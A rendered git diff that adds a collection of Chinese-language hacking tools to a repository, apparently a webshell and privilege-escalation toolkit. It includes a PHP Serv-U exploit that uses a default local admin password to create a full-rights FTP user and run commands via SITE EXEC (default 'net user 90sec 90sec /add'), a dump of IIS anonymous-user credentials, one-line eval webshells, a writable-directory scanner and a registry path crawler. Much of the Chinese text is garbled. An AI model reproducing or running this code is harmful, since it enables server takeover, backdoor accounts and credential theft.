||||||
|
if ($state==6) {
|
||||||
|
|
||||||
|
echo "[STATE ] paused".'</br>';
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($obj3w->ServerBindings as $Binds){
|
||||||
|
|
||||||
|
echo "[HOST ] " .$Binds.'</br>';
|
||||||
|
|
||||||
|
}
|
||||||
|
echo "[USER ] " . $webSite->AnonymousUserName.'</br>';
|
||||||
|
echo "[PASS ] " . $webSite->AnonymousUserPass.'</br>';
|
||||||
|
echo "[PATH ] " . $webSite->path.'</br>';
|
||||||
|
echo "-------------------------------------------".'</br>';
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
||||||
250
net-friend/php/s-u.php
Normal file
250
net-friend/php/s-u.php
Normal file
@@ -0,0 +1,250 @@
|
|||||||
|
<?php
|
||||||
|
/*
|
||||||
|
*Author:cfking
|
||||||
|
*Team:90sec.org
|
||||||
|
*/
|
||||||
|
error_reporting(0);
|
||||||
|
ini_set('max_execution_time', 10);
|
||||||
|
if (get_magic_quotes_gpc()) {
|
||||||
|
function stripslashes_deep($value)
|
||||||
|
{
|
||||||
|
$value = is_array($value) ?
|
||||||
|
array_map('stripslashes_deep', $value) :
|
||||||
|
stripslashes($value);
|
||||||
|
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
|
$_POST = array_map('stripslashes_deep', $_POST);
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Serv-U<><55><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> by cfking@90sec.org</title>
|
||||||
|
<meta content="text/html; charset=gb2312" http-equiv="Content-Type">
|
||||||
|
<style type="text/css">body,tr,td{
|
||||||
|
margin-top:5px;
|
||||||
|
background-color:#000000;
|
||||||
|
color:#33FF00;
|
||||||
|
font-size:12px;
|
||||||
|
SCROLLBAR-FACE-COLOR:#000000;
|
||||||
|
scrollbar-arrow-color:#33FF00;
|
||||||
|
scrollbar-highlight-color:#006300;
|
||||||
|
scrollbar-3dlight-color:#33FF00;
|
||||||
|
scrollbar-shadow-color:#33FF00;
|
||||||
|
}
|
||||||
|
input,textarea{
|
||||||
|
border-top-width:1px;
|
||||||
|
font-weight: bold;
|
||||||
|
border-left-width: 1px;
|
||||||
|
font-size:11px;
|
||||||
|
border-left-color: #33FF00;
|
||||||
|
background: #000000;
|
||||||
|
border-bottom-width: 1px;
|
||||||
|
border-bottom-color: #33FF00;
|
||||||
|
color: #33FF00;
|
||||||
|
border-top-color: #33FF00;
|
||||||
|
font-family: verdana;
|
||||||
|
border-right-width: 1px;
|
||||||
|
border-right-color: #33FF00;
|
||||||
|
}
|
||||||
|
#s {
|
||||||
|
background: #006300;
|
||||||
|
padding-left:5px
|
||||||
|
}
|
||||||
|
#d {
|
||||||
|
background:#dddddd;
|
||||||
|
}
|
||||||
|
#d{
|
||||||
|
background: #003000;
|
||||||
|
padding-left:5px;
|
||||||
|
padding-right:5px
|
||||||
|
}
|
||||||
|
pre{
|
||||||
|
font-size: 11px;
|
||||||
|
font-family: verdana;
|
||||||
|
color: #33FF00;
|
||||||
|
}
|
||||||
|
a{
|
||||||
|
color:#33FF00;
|
||||||
|
text-decoration:none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<?php if(@$_GET['act']==null){?>
|
||||||
|
<center>
|
||||||
|
<form action="" method="post" >
|
||||||
|
<table width="297" height="53" >
|
||||||
|
<tr>
|
||||||
|
<td width="235"><input type="text" name="inipath" value="C:\Program Files\Serv-U\ServUDaemon.ini" size='55'></td>
|
||||||
|
<td width="46"><input type="submit" name="read" value="<22><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
</center>
|
||||||
|
<form action="?act=add" method="POST">
|
||||||
|
<center><table width='500' height='163'>
|
||||||
|
<tr align='center' valign='middle'>
|
||||||
|
<td colspan='2' id=s><font face=webdings>8</font> <B><3E><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FTP<54>û<EFBFBD></b></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td width='100' id=d><3E>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD></td><td width='379' id=d><input name='suser' type='text' id='u' value='LocalAdministrator'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d><3E><> <3B>룺</td><td id=d><input name='spass' type='text' id='p' value='#l@$ak#.lk;0@P'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d><3E>ˡ<EFBFBD><CBA1>ڣ<EFBFBD></td><td id=d><input name='sport' type='text' id='port' value='43958'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>USER <3B><></td><td id=d><input name='user' type='text' id='p' value='admin'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>PASS <3B><></td><td id=d><input name='pass' type='text' id='p' value='admin'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>PORT <3B><></td><td id=d><input name='port' type='text' id='p' value='21'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>· <3B><><EFBFBD><EFBFBD></td><td id=d><input name='dir' type='text' id='p' value='<?php echo dirname(__FILE__);?>\' size='55'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td colspan='2' id=d><input type='submit' name='Submit' value='adduser'>
|
||||||
|
<input type='reset' name='Submit2' value='Reset'></td></tr>
|
||||||
|
</table></center></form><?php }?>
|
||||||
|
|
||||||
|
<?php if(@$_GET['act']=='do'){?>
|
||||||
|
<center>
|
||||||
|
<form action="" method="post" enctype="multipart/form-data" name="form1">
|
||||||
|
<table width="297" height="53" >
|
||||||
|
<tr>
|
||||||
|
<td colspan="2"><3E><>ǰ·<C7B0><C2B7>:
|
||||||
|
<input name='p' type='text' size='27' value='<?php echo dirname(__FILE__);?>\'></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td width="235"><input type="file" name="file"></td>
|
||||||
|
<td width="46"><input type="submit" name="subfile" value="<22>ϴ<EFBFBD>CMD"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
</center>
|
||||||
|
|
||||||
|
<form action="?act=Execute" method="POST">
|
||||||
|
<center><table width='500' height='163'>
|
||||||
|
<tr align='center' valign='middle'>
|
||||||
|
<td colspan='2' id=s><font face=webdings>8</font> <B><3E>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD></b></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>USER <3B><></td><td id=d><input name='user' type='text' id='p' value='<?php echo @$_COOKIE['ftpuser']?>'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>PASS <3B><></td><td id=d><input name='pass' type='text' id='p' value='<?php echo @$_COOKIE['ftppass']?>'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>PORT <3B><></td><td id=d><input name='port' type='text' id='p' value='<?php echo @$_COOKIE['ftpport']?>'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>CMDPATH <3B><></td><td id=d><input name='path' type='text' id='p' value='<?php echo $_COOKIE['cmdpath']==null ? 'c:\windows\system32\cmd.exe' : $_COOKIE['cmdpath'];?>' size='55'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td id=d>Command <3B><></td><td id=d><input name='cmd' type='text' id='p' value='/c net user 90sec 90sec /add' size='55'></td></tr>
|
||||||
|
<tr align='center' valign='middle'><td colspan='2' id=d><input type='submit' name='Submit' value='Execute'>
|
||||||
|
<input type='reset' name='Submit2' value='Reset'></td></tr>
|
||||||
|
</table></center></form><?php }?>
|
||||||
|
<?php
|
||||||
|
$act=@$_GET['act'];
|
||||||
|
if($act=='add'){
|
||||||
|
setcookie('ftpuser',$_POST['user']);
|
||||||
|
setcookie('ftppass',$_POST['pass']);
|
||||||
|
setcookie('ftpport',$_POST['port']);
|
||||||
|
$dir=str_replace('\\','/',$_POST['dir']);
|
||||||
|
echo '<center><p></p><p></p><p></p><B><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD></b><b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڶ<EFBFBD><DAB6><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><a href="?act=do"><font color="red">Go Execute</font></a></b><br /><textarea cols="80" rows="15" readonly>'."\r\n";
|
||||||
|
up($_POST['port'],$_POST['user'],$_POST['pass'],$dir,$_POST['suser'],$_POST['spass'],$_POST['sport']);
|
||||||
|
echo '</textarea><br/><b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڶ<EFBFBD><DAB6><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><a href="?act=do"><font color="red">Go Execute</font></a></b></center>';
|
||||||
|
}
|
||||||
|
|
||||||
|
if($act=='Execute'){
|
||||||
|
$path=str_replace('\\','/',$_POST['path']);
|
||||||
|
echo '<center><p></p><p></p><p></p><B><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD></b><br /><textarea cols="80" rows="15" readonly>'."\r\n";
|
||||||
|
ftpcmd($_POST['port'],$_POST['user'],$_POST['pass'],$_POST['cmd'],$path);
|
||||||
|
echo '</textarea></center>';
|
||||||
|
}
|
||||||
|
if($_POST['subfile']){
|
||||||
|
$upfile=$_POST['p'].$_FILES['file']['name'];
|
||||||
|
|
||||||
|
if(is_uploaded_file($_FILES['file']['tmp_name']))
|
||||||
|
{
|
||||||
|
if(!move_uploaded_file($_FILES['file']['tmp_name'],$upfile)){
|
||||||
|
echo '<center><font color="red"><3E>ϴ<EFBFBD>ʧ<EFBFBD><CAA7></font></center>';
|
||||||
|
}else{
|
||||||
|
|
||||||
|
setcookie('cmdpath',$upfile);
|
||||||
|
echo '<center><font color="red"><3E>ϴ<EFBFBD><CFB4>ɹ<EFBFBD>,·<><C2B7>Ϊ'.$upfile.'</font></center><br/><br/><br/><br/>';
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if($_POST['read']){
|
||||||
|
echo '<center><textarea cols="80" rows="15" readonly>'."\r\n";
|
||||||
|
$inipath=str_replace('\\','/',$_POST['inipath']);
|
||||||
|
echo file_get_contents($inipath);
|
||||||
|
echo '</textarea></center><br/>';
|
||||||
|
}
|
||||||
|
|
||||||
|
echo '<div align="center"><strong>Copyright By cfking 2012</strong><br>
|
||||||
|
Blog:<a href="http://www.luoyes.com" target="_blank">www.luoyes.com</a> Bbs:<a href="http://www.90sec.org" target="_blank">www.90sec.org</a>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>';
|
||||||
|
function up($ftpport,$user,$password,$homedir,$suser,$spass,$sport){
|
||||||
|
$fp = fsockopen ("127.0.0.1", $sport, $errno, $errstr, 30);
|
||||||
|
if (!$fp) {
|
||||||
|
echo "$errstr ($errno)<br>\n";
|
||||||
|
} else {
|
||||||
|
fputs ($fp, "USER ".$suser."\r\n");
|
||||||
|
sleep (1);
|
||||||
|
fputs ($fp, "PASS ".$spass."\r\n");
|
||||||
|
sleep (1);
|
||||||
|
fputs ($fp, "SITE MAINTENANCE\r\n");
|
||||||
|
sleep (1);
|
||||||
|
fputs ($fp, "-SETUSERSETUP\r\n");
|
||||||
|
fputs ($fp, "-IP=0.0.0.0\r\n");
|
||||||
|
fputs ($fp, "-PortNo=".$ftpport."\r\n");
|
||||||
|
fputs ($fp, "-User=".$user."\r\n");
|
||||||
|
fputs ($fp, "-Password=".$password."\r\n");
|
||||||
|
fputs ($fp, "-HomeDir=".$homedir."\r\n");
|
||||||
|
fputs ($fp, "-LoginMesFile=\r\n");
|
||||||
|
fputs ($fp, "-Disable=0\r\n");
|
||||||
|
fputs ($fp, "-RelPaths=0\r\n");
|
||||||
|
fputs ($fp, "-NeedSecure=0\r\n");
|
||||||
|
fputs ($fp, "-HideHidden=0\r\n");
|
||||||
|
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
|
||||||
|
fputs ($fp, "-ChangePassword=1\r\n");
|
||||||
|
fputs ($fp, "-QuotaEnable=0\r\n");
|
||||||
|
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
|
||||||
|
fputs ($fp, "-SpeedLimitUp=-1\r\n");
|
||||||
|
fputs ($fp, "-SpeedLimitDown=-1\r\n");
|
||||||
|
fputs ($fp, "-MaxNrUsers=-1\r\n");
|
||||||
|
fputs ($fp, "-IdleTimeOut=600\r\n");
|
||||||
|
fputs ($fp, "-SessionTimeOut=-1\r\n");
|
||||||
|
fputs ($fp, "-Expire=0\r\n");
|
||||||
|
fputs ($fp, "-RatioUp=1\r\n");
|
||||||
|
fputs ($fp, "-RatioDown=1\r\n");
|
||||||
|
fputs ($fp, "-RatiosCredit=0\r\n");
|
||||||
|
fputs ($fp, "-QuotaCurrent=0\r\n");
|
||||||
|
fputs ($fp, "-QuotaMaximum=0\r\n");
|
||||||
|
fputs ($fp, "-Maintenance=System\r\n");
|
||||||
|
fputs ($fp, "-PasswordType=Regular\r\n");
|
||||||
|
fputs ($fp, "-Ratios=None\r\n");
|
||||||
|
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
|
||||||
|
sleep (1);
|
||||||
|
fputs ($fp, "-GETUSERSETUP\r\n");
|
||||||
|
fputs ($fp, "-IP=0.0.0.0\r\n");
|
||||||
|
fputs ($fp, "-PortNo=".$ftpport."\r\n");
|
||||||
|
fputs ($fp, " User=".$user."\r\n");
|
||||||
|
sleep (1);
|
||||||
|
fputs ($fp, "QUIT\r\n");
|
||||||
|
sleep (1);
|
||||||
|
while (!feof($fp)) {
|
||||||
|
echo fgets ($fp,128);
|
||||||
|
}
|
||||||
|
fclose ($fp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function ftpcmd($ftpport,$user,$password,$cmd,$path){
|
||||||
|
|
||||||
|
$conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 30);
|
||||||
|
if (!$conn_id) {
|
||||||
|
echo "$errstr ($errno)<br>\n";
|
||||||
|
} else {
|
||||||
|
fputs ($conn_id, "USER ".$user."\r\n");
|
||||||
|
sleep (1);
|
||||||
|
fputs ($conn_id, "PASS ".$password."\r\n");
|
||||||
|
sleep (1);
|
||||||
|
fputs ($conn_id, "SITE EXEC ".$path." ".$cmd."\r\n");
|
||||||
|
fputs ($conn_id, "QUIT\r\n");
|
||||||
|
sleep (1);
|
||||||
|
while (!feof($conn_id)) {
|
||||||
|
echo fgets ($conn_id,128);
|
||||||
|
}
|
||||||
|
fclose($conn_id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>PHPһ<EFBFBD>仰ľ<EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD>(һ<><D2BB><EFBFBD>ύ<EFBFBD><E1BDBB>)
|
||||||
|
|
||||||
|
Author:zerosoul(<28><><EFBFBD><EFBFBD>)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
һ<EFBFBD>仰:
|
||||||
|
<?php eval($_POST['c'])?>
|
||||||
|
<?php eval($_REQUEST['c'])?>
|
||||||
|
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>и<EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>ύ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ASPһ<EFBFBD>仰<EFBFBD>ͻ<EFBFBD><EFBFBD>ˣ<EFBFBD><EFBFBD>ܷ<EFBFBD><EFBFBD>㣬һ<EFBFBD><EFBFBD><EFBFBD>ύ֮<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>仰<EFBFBD>Ϳ<EFBFBD><EFBFBD>Ե<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD>
|
||||||
|
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>PHPһ<EFBFBD>仰һֱû<EFBFBD>м<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀͻ<EFBFBD><EFBFBD>ˣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͼ<EFBFBD>Ȼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD>ĵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵĹ<EFBFBD><EFBFBD>ߣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>á<EFBFBD>
|
||||||
|
|
||||||
|
<EFBFBD>Ƚ<EFBFBD>ϲ<EFBFBD><EFBFBD>һ<EFBFBD>仰<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>ύ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>2x<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼·<EFBFBD>ο<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǻ<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD>˵<EFBFBD>CSSҲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>Ǻǡ<EFBFBD>
|
||||||
|
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>ύ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>Dz<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸc<EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>:
|
||||||
|
|
||||||
|
һ<EFBFBD><EFBFBD><EFBFBD>ύ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>仰<EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӳɹ<EFBFBD>֮<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD>POST<EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>ʱ<EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD>һ<EFBFBD>仰<EFBFBD><E4BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>c<EFBFBD><63><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>ñ<EFBFBD><C3B1>ر<EFBFBD><D8B1><EFBFBD>:
|
||||||
|
|
||||||
|
c = session_start();eval($_SESSION[chr(120)]);
|
||||||
|
|
||||||
|
chr(120)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸc<C4B8><63>Ϊ<EFBFBD>˱<EFBFBD><CBB1>ⵥ<EFBFBD><E2B5A5><EFBFBD><EFBFBD>д<EFBFBD><D0B4>chr(120)<29><>ʽ<EFBFBD><CABD>
|
||||||
|
|
||||||
|
Ȼ<EFBFBD><EFBFBD>һ<EFBFBD>仰<EFBFBD><EFBFBD>eval($_POST[c])<29><>ʱ<EFBFBD><EFBFBD><F2A3ACB2><EFBFBD>ִ<EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>Session<6F>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ǵ<EFBFBD>PHP<48><50><EFBFBD>롣
|
||||||
|
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD>ġ<EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Blog
|
||||||
|
http://hi.baidu.com/0soul
|
||||||
File diff suppressed because it is too large
Load Diff
BIN
net-friend/war/test3693.war
Normal file
BIN
net-friend/war/test3693.war
Normal file
Binary file not shown.
51
net-friend/可读写目录探测/PHP 搜索可读可写目录脚本.php
Normal file
51
net-friend/可读写目录探测/PHP 搜索可读可写目录脚本.php
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
|
||||||
|
<form id="form1" name="form1" method="get" action="">
|
||||||
|
<label>
|
||||||
|
<div align="center"><EFBFBD>ļ<EFBFBD>·<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
<input name="dir" type="text" value="c:/" />
|
||||||
|
<input type="submit" name="Submit" value="<EFBFBD>ύ" />
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
</form><label>
|
||||||
|
|
||||||
|
<div align="center">code Author:<span class="STYLE1"><font color='red'> <EFBFBD>̽<EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>QQ:87074139</font></span></div>
|
||||||
|
|
||||||
|
<?php
|
||||||
|
header("content-Type: text/html; charset=gb2312");
|
||||||
|
function listDir($dir){
|
||||||
|
if(is_dir($dir)){
|
||||||
|
if ($dh = opendir($dir)) {
|
||||||
|
while (($file= readdir($dh)) !== false){
|
||||||
|
|
||||||
|
if((is_dir($dir."/".$file)) && $file!="." && $file!="..")
|
||||||
|
{
|
||||||
|
if(is_writable($dir."/".$file)&&is_readable($dir."/".$file))
|
||||||
|
{
|
||||||
|
echo "<b><font color='red'><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></font></b>".$dir.$file."<font color='red'> <20><>д</font><font color='Blue'> <20>ɶ<EFBFBD></font>"."<br><hr>";
|
||||||
|
}else{
|
||||||
|
if(is_writable($dir."/".$file))
|
||||||
|
{
|
||||||
|
echo "<b><font color='red'><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></font></b>".$dir.$file."<font color='red'> <20><>д</font>"."<br><hr>";
|
||||||
|
}else
|
||||||
|
{
|
||||||
|
echo "<b><font color='red'><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></font></b>".$dir.$file."<font color='red'> <20>ɶ<EFBFBD></font><font color='Blue'> <20><><EFBFBD><EFBFBD>д</font>"."<br><hr>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
listDir($dir."/".$file."/");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir($dh);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
|
||||||
|
if(isset($_GET['dir']))
|
||||||
|
{
|
||||||
|
listDir($_GET['dir']);
|
||||||
|
}
|
||||||
|
?>
|
||||||
108
net-friend/可读写目录探测/从注册表中读存在路径.aspx
Normal file
108
net-friend/可读写目录探测/从注册表中读存在路径.aspx
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
|
||||||
|
<%@ import Namespace="System.IO"%>
|
||||||
|
<%@ import Namespace="System.Diagnostics"%>
|
||||||
|
<%@ import Namespace="System.Data"%>
|
||||||
|
<%@ import Namespace="System.Management"%>
|
||||||
|
<%@ import Namespace="System.Data.OleDb"%>
|
||||||
|
<%@ import Namespace="Microsoft.Win32"%>
|
||||||
|
<%@ import Namespace="System.Net.Sockets" %>
|
||||||
|
<%@ import Namespace="System.Collections" %>
|
||||||
|
<%@ import Namespace="System.Net" %>
|
||||||
|
<%@ import Namespace="System.Runtime.InteropServices"%>
|
||||||
|
<%@ import Namespace="System.DirectoryServices"%>
|
||||||
|
<%@ import Namespace="System.ServiceProcess"%>
|
||||||
|
<%@ import Namespace="System.Text.RegularExpressions"%>
|
||||||
|
<%@ import Namespace="System.Collections.Generic"%>
|
||||||
|
<%@ Import Namespace="System.Threading"%>
|
||||||
|
<%@ Import Namespace="System.Data.SqlClient"%>
|
||||||
|
<%@ import Namespace="Microsoft.VisualBasic"%>
|
||||||
|
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<%
|
||||||
|
Stack sack = new Stack();//测试成功,比较卡
|
||||||
|
List<String> list = new List<String>();
|
||||||
|
sack.Push(Registry.ClassesRoot);
|
||||||
|
sack.Push(Registry.CurrentConfig);
|
||||||
|
sack.Push(Registry.CurrentUser);
|
||||||
|
sack.Push(Registry.LocalMachine);
|
||||||
|
sack.Push(Registry.Users);
|
||||||
|
while (sack.Count > 0)
|
||||||
|
{
|
||||||
|
RegistryKey Hklm = (RegistryKey)sack.Pop();
|
||||||
|
if (Hklm != null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] names = Hklm.GetValueNames();
|
||||||
|
foreach (string name in names)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string str = Hklm.GetValue(name).ToString().ToLower();
|
||||||
|
if (str.IndexOf(":\\") != -1 && str.IndexOf("c:\\program files") == -1 && str.IndexOf("c:\\windows") == -1)
|
||||||
|
{
|
||||||
|
Regex regImg = new Regex("[a-z|A-Z]{1}:\\\\[a-z|A-Z| |0-9|\u4e00-\u9fa5|\\~|\\\\|_|{|}|\\.]*");
|
||||||
|
MatchCollection matches = regImg.Matches(str);
|
||||||
|
if (matches.Count > 0)
|
||||||
|
{
|
||||||
|
string temp = "";
|
||||||
|
foreach (Match match in matches)
|
||||||
|
{
|
||||||
|
temp = match.Value;
|
||||||
|
if (!temp.EndsWith("\\"))
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp) == -1)
|
||||||
|
{
|
||||||
|
Response.Write(temp + "<br/>");
|
||||||
|
list.Add(temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
while (temp.IndexOf("\\") != -1)
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp + "\\") == -1)
|
||||||
|
{
|
||||||
|
Response.Write(temp + "\\<br/>");
|
||||||
|
list.Add(temp + "\\");
|
||||||
|
}
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception se) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] keys = Hklm.GetSubKeyNames();
|
||||||
|
foreach (string key in keys)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
sack.Push(Hklm.OpenSubKey(key));
|
||||||
|
}
|
||||||
|
catch (System.Security.SecurityException sse) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
